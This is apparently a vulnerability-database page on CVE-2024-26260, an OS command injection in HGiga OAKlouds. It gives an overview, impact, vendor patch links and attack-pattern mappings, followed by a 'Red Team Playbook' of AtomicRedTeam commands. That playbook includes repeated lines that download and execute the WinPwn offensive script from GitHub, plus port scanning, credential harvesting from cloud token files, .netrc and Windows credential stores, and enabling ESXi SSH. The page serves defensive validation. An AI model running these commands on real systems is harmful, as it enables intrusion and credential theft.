CVE-2024-26260
Overview
This vulnerability is an OS Command Injection affecting the synchronization functionality within specific modules of HGiga OAKlouds. The root cause lies in improper sanitization of user-supplied input in request parameters, allowing injection of arbitrary system commands. The affected components include multiple versions of the oaklouds-organization and oaklouds-webbase modules.
Vulnerability Description
The functionality for synchronization in HGiga OAKlouds' certain moudules has an OS Command Injection vulnerability, allowing remote attackers to inject system commands within specific request parameters. This enables the execution of arbitrary code on the remote server without permission.
Impact
An unauthenticated remote attacker can execute arbitrary system commands on the affected server by sending crafted requests to the synchronization functionality. This capability enables full compromise of the server, including data theft, service disruption, or lateral movement within the network. The vulnerability has a CVSS score of 9.8, reflecting high impact with no user interaction or privileges required and network-level exploitability.
Solution
HGiga has released security updates addressing this vulnerability for oaklouds-organization and oaklouds-webbase versions 2.0 and 3.0. Users should apply the vendor-provided patches as detailed in the advisories published by TW-CERT (https://www.twcert.org.tw/tw/cp-132-7673-688b7-1.html) and CHT Security (https://www.chtsecurity.com/news/e456f679-9091-4de4-8f78-9262d20d6a96). The advisories include instructions for upgrading to patched versions and recommended configuration changes to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in specific modules of HGiga OAKlouds is characterized by an OS Command Injection flaw, which allows remote attackers to execute arbitrary commands on the server. This type of vulnerability arises when user-supplied input is improperly sanitized, enabling malicious actors to manipulate command execution within the operating system. In this case, the synchronization functionality fails to adequately validate input parameters, making it susceptible to injection attacks. By crafting specially designed requests, an attacker can exploit this weakness to run unauthorized commands, potentially leading to complete system compromise.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage a web application interface that interacts with the synchronization functionality, sending crafted requests that include malicious command strings. This could be done through automated scripts or manual testing, targeting specific endpoints that handle synchronization tasks. Once the attacker successfully injects commands, they can execute a range of malicious activities, such as accessing sensitive data, altering system configurations, or deploying additional malware. The ease of exploitation, combined with the high severity of the vulnerability, makes it a particularly attractive target for cybercriminals.
The real-world impact of this vulnerability is significant, especially for organizations relying on the affected versions of HGiga OAKlouds. Successful exploitation could lead to unauthorized access to critical systems, data breaches, and disruption of services. The potential for data loss or corruption, along with the financial implications of remediation efforts and reputational damage, poses a substantial business risk. Organizations may face regulatory scrutiny and legal liabilities, particularly if sensitive customer information is compromised. Furthermore, the high CVSS score indicates a critical risk level, emphasizing the urgency for affected entities to address this vulnerability promptly.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify and remediate weaknesses in the system. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the application. It is also crucial to ensure that input validation and sanitization mechanisms are robust, effectively neutralizing any attempts at command injection. Additionally, organizations should keep their software up to date, applying patches and updates as they become available, to minimize exposure to known vulnerabilities.
In conclusion, the OS Command Injection vulnerability in HGiga OAKlouds presents a critical risk to organizations utilizing the affected software versions. The potential for remote code execution underscores the importance of proactive security measures. By understanding the technical details, potential attack vectors, real-world implications, and effective detection and mitigation strategies, organizations can better protect themselves against the threats posed by this vulnerability. A comprehensive cybersecurity strategy that includes regular updates, thorough testing, and robust input validation will be essential in safeguarding against such vulnerabilities in the future.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Hgiga | Oaklouds-Organization-2.0 | All |
cpe:2.3:a:hgiga:oaklouds-organization-2.0:*:*:*:*:*:*:*:*
|
|
|
Hgiga | Oaklouds-Organization-3.0 | All |
cpe:2.3:a:hgiga:oaklouds-organization-3.0:*:*:*:*:*:*:*:*
|
|
|
Hgiga | Oaklouds-Webbase-2.0 | All |
cpe:2.3:a:hgiga:oaklouds-webbase-2.0:*:*:*:*:*:*:*:*
|
|
|
Hgiga | Oaklouds-Webbase-3.0 | All |
cpe:2.3:a:hgiga:oaklouds-webbase-3.0:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
45%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-26260 |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/tw/cp-132-7673-688b7-1.html |
| chtsecurity.com |
GitHub CVE
third-party-advisory
|
https://www.chtsecurity.com/news/e456f679-9091-4de4-8f78-9262d20d6a96 |